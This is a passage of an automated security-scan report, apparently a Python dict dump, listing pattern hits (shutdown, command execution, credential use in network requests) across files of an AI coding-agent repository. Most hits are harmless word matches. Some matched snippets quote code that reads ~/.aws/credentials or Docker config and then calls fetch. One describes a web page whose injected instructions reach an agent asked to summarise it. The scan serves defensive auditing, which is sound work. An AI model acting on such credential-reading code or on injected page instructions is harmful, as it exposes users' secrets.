'pi2dsh-main/src/compat/vendor/pi-tools/shell.ts', 'line': 159, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/src/compatibility.ts', 'line': 293, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/src/compatibility.ts', 'line': 293, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/src/compatibility.ts', 'line': 293, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/src/compatibility.ts', 'line': 477, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/src/compatibility.ts', 'line': 477, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/src/compatibility.ts', 'line': 477, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/src/compatibility.ts', 'line': 477, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/src/runtime.ts', 'line': 164, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/src/runtime.ts', 'line': 1327, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/src/runtime.ts', 'line': 1327, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/src/runtime.ts', 'line': 1331, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/src/runtime.ts', 'line': 1333, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/src/runtime.ts', 'line': 1334, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/src/runtime.ts', 'line': 1335, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/src/runtime.ts', 'line': 1623, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/src/runtime.ts', 'line': 1623, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/src/runtime.ts', 'line': 1936, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/src/runtime.ts', 'line': 1938, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/src/runtime.ts', 'line': 2021, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/src/runtime.ts', 'line': 2274, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/tests/capability.spec.ts', 'line': 10, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/tests/capability.spec.ts', 'line': 134, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/tests/capability.spec.ts', 'line': 169, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/tests/capability.spec.ts', 'line': 177, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/tests/capability.spec.ts', 'line': 227, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/tests/dsh-runtime.spec.ts', 'line': 153, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/tests/dsh-runtime.spec.ts', 'line': 412, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/tests/resources-discover.spec.ts', 'line': 32, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/tests/source-analyzer.spec.ts', 'line': 241, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/tests/source-analyzer.spec.ts', 'line': 251, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/tests/source-analyzer.spec.ts', 'line': 253, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/tests/tui-extension-contract.spec.ts', 'line': 38, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/tests/tui-extension-contract.spec.ts', 'line': 40, 'match': 'shutdown', 'label': '系统关机'}, {'file': 'pi2dsh-main/tests/tui-extension-contract.spec.ts', 'line': 338, 'match': 'shutdown', 'label': '系统关机'}], 'excessive_permissions': [{'file': 'pi2dsh-main/community/full-audit-work/architecture-feasibility-challenges.json', 'line': 11070, 'match': 'exec(', 'label': '命令执行'}, {'file': 'pi2dsh-main/community/full-audit-work/architecture-feasibility-challenges.json', 'line': 11071, 'match': 'exec(', 'label': '命令执行'}, {'file': 'pi2dsh-main/community/full-audit-work/architecture-feasibility-final.json', 'line': 18429, 'match': 'exec(', 'label': '命令执行'}, {'file': 'pi2dsh-main/community/full-audit-work/architecture-feasibility-final.json', 'line': 18439, 'match': 'exec(', 'label': '命令执行'}, {'file': 'pi2dsh-main/community/full-audit-work/architecture-feasibility-final.json', 'line': 18440, 'match': 'exec(', 'label': '命令执行'}, {'file': 'pi2dsh-main/community/full-audit-work/architecture-feasibility-recoveries.json', 'line': 7506, 'match': 'exec(', 'label': '命令执行'}, {'file': 'pi2dsh-main/community/full-audit-work/architecture-feasibility.json', 'line': 9420, 'match': 'exec(', 'label': '命令执行'}, {'file': 'pi2dsh-main/community/full-audit-work/architecture-feasibility.json', 'line': 9421, 'match': 'exec(', 'label': '命令执行'}, {'file': 'pi2dsh-main/community/full-audit-work/candidate-comments.json', 'line': 4781, 'match': 'exec(', 'label': '命令执行'}, {'file': 'pi2dsh-main/community/full-audit-work/candidate-comments.json', 'line': 4781, 'match': 'exec(', 'label': '命令执行'}, {'file': 'pi2dsh-main/community/full-audit-work/candidate-comments.json', 'line': 4781, 'match': 'exec(', 'label': '命令执行'}, {'file': 'pi2dsh-main/community/full-audit-work/classifications.json', 'line': 17117, 'match': 'exec(', 'label': '命令执行'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 37991, 'match': 'exec(', 'label': '命令执行'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 37991, 'match': 'exec(', 'label': '命令执行'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 37991, 'match': 'exec(', 'label': '命令执行'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 37991, 'match': 'exec(', 'label': '命令执行'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 38011, 'match': 'exec(', 'label': '命令执行'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 38011, 'match': 'exec(', 'label': '命令执行'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 38011, 'match': 'exec(', 'label': '命令执行'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 38011, 'match': 'exec(', 'label': '命令执行'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 38011, 'match': 'exec(', 'label': '命令执行'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 45851, 'match': 'exec(', 'label': '命令执行'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 60771, 'match': 'exec(', 'label': '命令执行'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 64131, 'match': 'execSync(', 'label': '命令执行'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 66131, 'match': 'exec(', 'label': '命令执行'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 67251, 'match': 'execSync(', 'label': '命令执行'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 67271, 'match': 'execSync(', 'label': '命令执行'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 81051, 'match': 'execSync(', 'label': '命令执行'}, {'file': 'pi2dsh-main/community/full-audit-work/ready-live.json', 'line': 660, 'match': 'exec(', 'label': '命令执行'}, {'file': 'pi2dsh-main/community/full-audit-work/v2-judgements.json', 'line': 11646, 'match': 'execSync(', 'label': '命令执行'}, {'file': 'pi2dsh-main/community/full-audit-work/v2-judgements.json', 'line': 19117, 'match': 'exec(', 'label': '命令执行'}, {'file': 'pi2dsh-main/community/full-audit-work/v2-judgements.json', 'line': 19117, 'match': 'exec(', 'label': '命令执行'}, {'file': 'pi2dsh-main/dsh-x/client.js', 'line': 73, 'match': 'exec(', 'label': '命令执行'}, {'file': 'pi2dsh-main/dsh-x/client.js', 'line': 73, 'match': 'exec(', 'label': '命令执行'}, {'file': 'pi2dsh-main/dsh-x/client.js', 'line': 156, 'match': 'exec(', 'label': '命令执行'}, {'file': 'pi2dsh-main/dsh-x/client.js', 'line': 162, 'match': 'exec(', 'label': '命令执行'}, {'file': 'pi2dsh-main/dsh-x/index.mjs', 'line': 29, 'match': 'exec(', 'label': '命令执行'}, {'file': 'pi2dsh-main/fixtures/runtime-edge-extension.ts', 'line': 100, 'match': 'exec(', 'label': '命令执行'}, {'file': 'pi2dsh-main/scripts/lib/e2e-harness.mjs', 'line': 333, 'match': 'exec(', 'label': '命令执行'}, {'file': 'pi2dsh-main/scripts/mcp-e2e/run.mjs', 'line': 163, 'match': 'exec(', 'label': '命令执行'}, {'file': 'pi2dsh-main/scripts/survey-gateway-transports.mjs', 'line': 127, 'match': 'exec(', 'label': '命令执行'}, {'file': 'pi2dsh-main/scripts/survey-gateway-transports.mjs', 'line': 128, 'match': 'exec(', 'label': '命令执行'}, {'file': 'pi2dsh-main/scripts/survey-gateway-transports.mjs', 'line': 129, 'match': 'exec(', 'label': '命令执行'}, {'file': 'pi2dsh-main/scripts/survey-gateway-transports.mjs', 'line': 130, 'match': 'exec(', 'label': '命令执行'}, {'file': 'pi2dsh-main/scripts/survey-gateway-transports.mjs', 'line': 131, 'match': 'exec(', 'label': '命令执行'}, {'file': 'pi2dsh-main/scripts/verify-codex-image-gen-e2e.mjs', 'line': 181, 'match': 'exec(', 'label': '命令执行'}, {'file': 'pi2dsh-main/scripts/verify-community.mjs', 'line': 130, 'match': 'exec(', 'label': '命令执行'}, {'file': 'pi2dsh-main/scripts/verify-examples-e2e.mjs', 'line': 106, 'match': 'exec(', 'label': '命令执行'}, {'file': 'pi2dsh-main/scripts/verify-examples-e2e.mjs', 'line': 1581, 'match': 'exec(', 'label': '命令执行'}, {'file': 'pi2dsh-main/scripts/verify-hermes-full-e2e.mjs', 'line': 102, 'match': 'exec(', 'label': '命令执行'}, {'file': 'pi2dsh-main/scripts/verify-hermes-full-e2e.mjs', 'line': 360, 'match': 'exec(', 'label': '命令执行'}, {'file': 'pi2dsh-main/scripts/verify-hermes-memory-e2e.mjs', 'line': 203, 'match': 'exec(', 'label': '命令执行'}, {'file': 'pi2dsh-main/scripts/verify-native-subagents-e2e.mjs', 'line': 63, 'match': 'exec(', 'label': '命令执行'}, {'file': 'pi2dsh-main/scripts/verify-pi-code-web-e2e.mjs', 'line': 117, 'match': 'exec(', 'label': '命令执行'}, {'file': 'pi2dsh-main/scripts/verify-pi-tui-ecosystem-e2e.mjs', 'line': 36, 'match': 'execSync(', 'label': '命令执行'}, {'file': 'pi2dsh-main/scripts/verify-pi-tui-ecosystem-e2e.mjs', 'line': 43, 'match': 'exec(', 'label': '命令执行'}, {'file': 'pi2dsh-main/scripts/verify-subagents-e2e.mjs', 'line': 60, 'match': 'exec(', 'label': '命令执行'}, {'file': 'pi2dsh-main/scripts/verify-subagents-lifecycle-e2e.mjs', 'line': 80, 'match': 'exec(', 'label': '命令执行'}, {'file': 'pi2dsh-main/scripts/verify-tui-singlepath-e2e.mjs', 'line': 58, 'match': 'execSync(', 'label': '命令执行'}, {'file': 'pi2dsh-main/scripts/verify-tui-singlepath-e2e.mjs', 'line': 72, 'match': 'exec(', 'label': '命令执行'}, {'file': 'pi2dsh-main/scripts/verify-tui-singlepath-e2e.mjs', 'line': 78, 'match': 'exec(', 'label': '命令执行'}, {'file': 'pi2dsh-main/scripts/verify-tui-singlepath-e2e.mjs', 'line': 319, 'match': 'exec(', 'label': '命令执行'}, {'file': 'pi2dsh-main/scripts/verify-tui-singlepath-e2e.mjs', 'line': 365, 'match': 'exec(', 'label': '命令执行'}, {'file': 'pi2dsh-main/scripts/verify-workx-sidebar-e2e.mjs', 'line': 85, 'match': 'exec(', 'label': '命令执行'}, {'file': 'pi2dsh-main/scripts/verify-workx-subagent-mcp-e2e.mjs', 'line': 63, 'match': 'exec(', 'label': '命令执行'}, {'file': 'pi2dsh-main/src/ansi.ts', 'line': 95, 'match': 'exec(', 'label': '命令执行'}, {'file': 'pi2dsh-main/src/ansi.ts', 'line': 95, 'match': 'exec(', 'label': '命令执行'}, {'file': 'pi2dsh-main/src/compat/pi-coding-agent.ts', 'line': 505, 'match': 'exec(', 'label': '命令执行'}, {'file': 'pi2dsh-main/src/compat/vendor/pi-tools/ansi.ts', 'line': 50, 'match': 'exec(', 'label': '命令执行'}, {'file': 'pi2dsh-main/src/compat/vendor/pi-tools/bash.ts', 'line': 325, 'match': 'exec(', 'label': '命令执行'}, {'file': 'pi2dsh-main/src/compat/vendor/pi-tui-latex.ts', 'line': 888, 'match': 'exec(', 'label': '命令执行'}, {'file': 'pi2dsh-main/src/compat/vendor/pi-tui-latex.ts', 'line': 1100, 'match': 'exec(', 'label': '命令执行'}, {'file': 'pi2dsh-main/src/compat/vendor/pi-tui-terminal-image.ts', 'line': 55, 'match': 'execSync(', 'label': '命令执行'}, {'file': 'pi2dsh-main/src/compat/vendor/pi-tui-terminal-image.ts', 'line': 310, 'match': 'exec(', 'label': '命令执行'}, {'file': 'pi2dsh-main/src/compat/vendor/pi-tui-terminal-image.ts', 'line': 312, 'match': 'exec(', 'label': '命令执行'}, {'file': 'pi2dsh-main/src/compat/vendor/pi-tui-terminal-image.ts', 'line': 350, 'match': 'exec(', 'label': '命令执行'}, {'file': 'pi2dsh-main/src/compat/vendor/pi-tui-terminal-image.ts', 'line': 385, 'match': 'exec(', 'label': '命令执行'}, {'file': 'pi2dsh-main/src/compat/vendor/pi-tui-utils.ts', 'line': 356, 'match': 'exec(', 'label': '命令执行'}, {'file': 'pi2dsh-main/src/diagnostics-model.ts', 'line': 92, 'match': 'exec(', 'label': '命令执行'}, {'file': 'pi2dsh-main/src/diagnostics-model.ts', 'line': 98, 'match': 'exec(', 'label': '命令执行'}, {'file': 'pi2dsh-main/src/mcp-config.ts', 'line': 138, 'match': 'exec(', 'label': '命令执行'}, {'file': 'pi2dsh-main/src/provider-adapter.ts', 'line': 82, 'match': 'exec(', 'label': '命令执行'}, {'file': 'pi2dsh-main/src/runtime.ts', 'line': 686, 'match': 'exec(', 'label': '命令执行'}, {'file': 'pi2dsh-main/src/runtime.ts', 'line': 5121, 'match': 'exec(', 'label': '命令执行'}, {'file': 'pi2dsh-main/src/runtime.ts', 'line': 5382, 'match': 'exec(', 'label': '命令执行'}, {'file': 'pi2dsh-main/src/runtime.ts', 'line': 5808, 'match': 'exec(', 'label': '命令执行'}, {'file': 'pi2dsh-main/src/session-bridge.ts', 'line': 29, 'match': 'exec(', 'label': '命令执行'}], 'data_exfiltration': [{'file': 'pi2dsh-main/community/full-audit-work/architecture-feasibility-final.json', 'line': 19626, 'match': 'token breaks Schannel TLS for native HTTPS clients (curl', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/audit-provider-78-live.mjs', 'line': 37, 'match': 'credentials/OAuth, model request/body compatibility, per-request', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/classifications.json', 'line': 37149, 'match': 'token 阻断 Schannel TLS 凭据，导致 curl', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 4691, 'match': 'process.env.DSH_WEB_URL)\\n\\n// 连接 ws://127.0.0.1:<port>/api/events.mux\\n// 收到 se', 'label': '读取敏感数据后发起网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 22891, 'match': 'process.env.HTTP_PROXY !== undefined || process.env.HTTPS_PROXY !== undefined)) ', 'label': '读取敏感数据后发起网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 27591, 'match': 'process.env.GITHUB_TOKEN\\n```\\n\\n## Symptoms\\n1. Windows **\\"node.exe - Applicat', 'label': '读取敏感数据后发起网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 64131, 'match': "readFileSync(os.homedir() + '/.aws/credentials', 'utf8')\\r\\nawait fetch", 'label': '读取敏感数据后发起网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 64131, 'match': "readFileSync(os.homedir() + '/.docker/config.json', 'utf8'),\\r\\n fs.readFileSyn", 'label': '读取敏感数据后发起网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 2351, 'match': "credentials.set(KEY_REF, 'second-key')\\n\\nawait prompt(ctx)\\nexpect(serverA.requ", 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 4551, 'match': 'credentials.yaml` 中的 API 密钥、SSH 私钥)、**无限制外联**(worker 全局 `fetch', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 4691, 'match': 'token暴露给 Agent。\\n\\n### B. 把 answer channel 绑定到接收该 request 的已认证 UI connection\\n\\n', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 5971, 'match': "token>'\\n failOnStartupError: true\\n```\\n\\n2. 启动：`dsh --profile web --por", 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 8631, 'match': 'credentials` 服务解析、以环境变量传给 curl', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 8691, 'match': 'credentials.*` 等）同样可达 —— 攻击者本来就在回环上。\\r\\n\\r\\n### PoC\\r\\n\\r\\n`security-audit/poc-2', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 11991, 'match': 'credentials.describe` reports `DEEPSEEK_API_KEY.configured: false`.\\n6. No JS pa', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 14311, 'match': 'credentials or proxy URLs are printed, no settings are changed, no folder dialog', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 16571, 'match': 'token for all `/api` request', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 18751, 'match': 'token re-processing, and the same registration was observed leaking into a **sec', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 19111, 'match': 'credentials.resolve` (`packages/llm/llm-deepseek/src/index.ts:231`), request', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 19211, 'match': 'credentials are available in the security package` |\\r\\n| 明文 HTTP GET（80 端口） | 返', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 21231, 'match': 'tokens that request', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 22291, 'match': 'token，并且与运行时上下文里“do not request', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 22391, 'match': 'token）\\r\\n- nginx access.log：`POST /deepseek/chat/completions → 400 0`（空响应体）\\r\\n', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 22771, 'match': 'token-budgeted snapshot of the workspace\\r\\nfile layout before its first request', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 23011, 'match': 'token 只出现在发出的 HTTP 请求头里\\r\\n+ 20 个 forge 工具：每个 provider 提供仓库、文件读取、issue、pull req', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 24731, 'match': 'token limit, every subsequent request', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 25071, 'match': 'token budgets\\n- Hard blocking: over quota, no real request', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 30871, 'match': 'token 明细写进 `~/.dsh/sessions` 了。上面这些数字都是同一个脚本产出的，我把它公开了，单文件、零依赖、不联网、从不碰凭证文件：\\r\\n\\', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 33491, 'match': 'token 上限回答被截断”. If the user then sends “继续” to continue the truncated assistant ', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 34311, 'match': 'credentials service, passed to curl', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 34791, 'match': 'token request', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 35551, 'match': 'token is not a configuration fact) and is re-seeded per request, so a rotated cr', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 36291, 'match': 'tokens per request', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 37151, 'match': 'token usage for the summarization request', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 37151, 'match': 'token-meter README says \\"Usage chunks are counted even when a request', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 38030, 'match': 'tokens. However, you request', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 38031, 'match': 'tokens. However, you request', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 38311, 'match': 'tokens are the compaction prompt itself\\").\\n- With the fix applied, the compact', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 39771, 'match': 'tokens per request', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 40491, 'match': 'credentials)\\n\\n- ResolutionTrace == session `request', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 40631, 'match': 'token usage, `request', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 40691, 'match': 'tokens, explained by\\r\\n34 requests missing from local logs (a session deleted b', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 40691, 'match': 'credentials) and prints your hit rate, your bill under the old/new/no-cache\\r\\nt', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 40830, 'match': 'tokens per skill on every request', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 40831, 'match': 'tokenized it:\\n\\n| skills in catalog | tokens per request', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 40831, 'match': 'tokens of catalog per request', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 41810, 'match': 'token breaks Schannel TLS for native HTTPS clients (curl', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 41811, 'match': 'token runner\\n\\n## Repro\\n\\nInside any sandboxed shell (e.g. the `pwsh` tool, wo', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 41811, 'match': 'token in isolation (same machine, same user, same `curl', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 41871, 'match': 'tokens, and submit behave as if typed.\\r\\n\\r\\n**A vision bridge for text-only mo', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 42251, 'match': 'token）。\\n2. 记录正常轮次命中率（预期 ~99%）。\\n3. **重启 DSH / 恢复会话**（触发 `session/end-seed` + `r', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 43090, 'match': 'token breaks all Schannel HTTPS (curl', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 46111, 'match': 'tokens. However, you request', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 46631, 'match': 'tokens on **every** request', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 46711, 'match': 'tokens` or finishes).\\n3. Reload the session in the GUI (triggers `session.histo', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 46991, 'match': "token（大量工具结果/大文件读取），触发下一次请求。\\r\\n- **实际结果**：请求被拒，报 `This model's maximum context ", 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 47531, 'match': 'token-meter, are there other request', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 47891, 'match': 'token inner `CreateProcessAsUserW` path initialized only `STARTF_USESTDHANDLES` ', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 47911, 'match': 'token/session projections can under-report provider request', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 47951, 'match': 'password` |\\n\\n## 一键装全家桶\\n\\n```sh\\ndsh plugin --profile web add dsh-safeguard ds', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 48531, 'match': 'tokens. However, you request', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 48771, 'match': 'token at 50x the cache-hit rate on `deepseek-v4-flash`. From the second request', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 52831, 'match': 'tokens fails with:\\n\\n```\\nError from provider (Console Go): Upstream request fa', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 52831, 'match': 'tokens. However, you request', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 52831, 'match': 'tokens (below the 800K compaction threshold).\\n3. The next request', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 55911, 'match': 'token` / `--password` option checked on every request', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 56331, 'match': "token the child's Schannel `AcquireCredentialsHandle` fails. DNS and TCP\\r\\nare ", 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 56391, 'match': 'token for daily tasks, and hard to trigger risk control. Install: `curl', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 57011, 'match': 'token, which breaks Windows schannel TLS — PowerShell `Invoke-WebRequest` and `c', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 57011, 'match': 'token, causing Windows schannel (`SEC_E_NO_CREDENTIALS`). This breaks HTTPS for ', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 57411, 'match': 'credentials resolved per request', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 57411, 'match': 'credentials are included in this report. The failing provider line was confirmed', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 57711, 'match': 'token itself.\\r\\n\\r\\n## Suggested death tests\\r\\n\\r\\nAt minimum:\\r\\n\\r\\n1. `read', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 58451, 'match': 'tokens\\"。\\r\\n\\r\\nbash\\r\\ncurl', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 59371, 'match': 'credentials. This report establishes the local request', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 60331, 'match': 'credentials/…)\\r\\n → tool-web/src/fetch.ts:481 ctx.web.fetch({url})\\r\\n → Htt', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 60331, 'match': 'credentials/` 并记录结果”。\\r\\n2. 用户在 agent 中要求\\"帮我总结这个网页\\"，agent 抓取该页，注入指令进入上下文。\\r\\n3', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 60631, 'match': 'token 消耗，所有自动重试同样失败（见下方日志片段）。该问题在公司网络环境下可 100% 复现。\\r\\n\\r\\n初步排查\\r\\n\\r\\n服务器 api.de', 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 61571, 'match': "token: 'abc' })\\r\\n\\r\\n expect(expectErr(await api.settings.update(request", 'label': '凭据字段进入网络请求'}, {'file': 'pi2dsh-main/community/full-audit-work/discussions.json', 'line': 61811, 'match': 'token-meter. It is in agent-loop: `agent-loop/src/agent.ts` routes those finishe', 'label': '凭据字段进入网络请求'}, {'file': 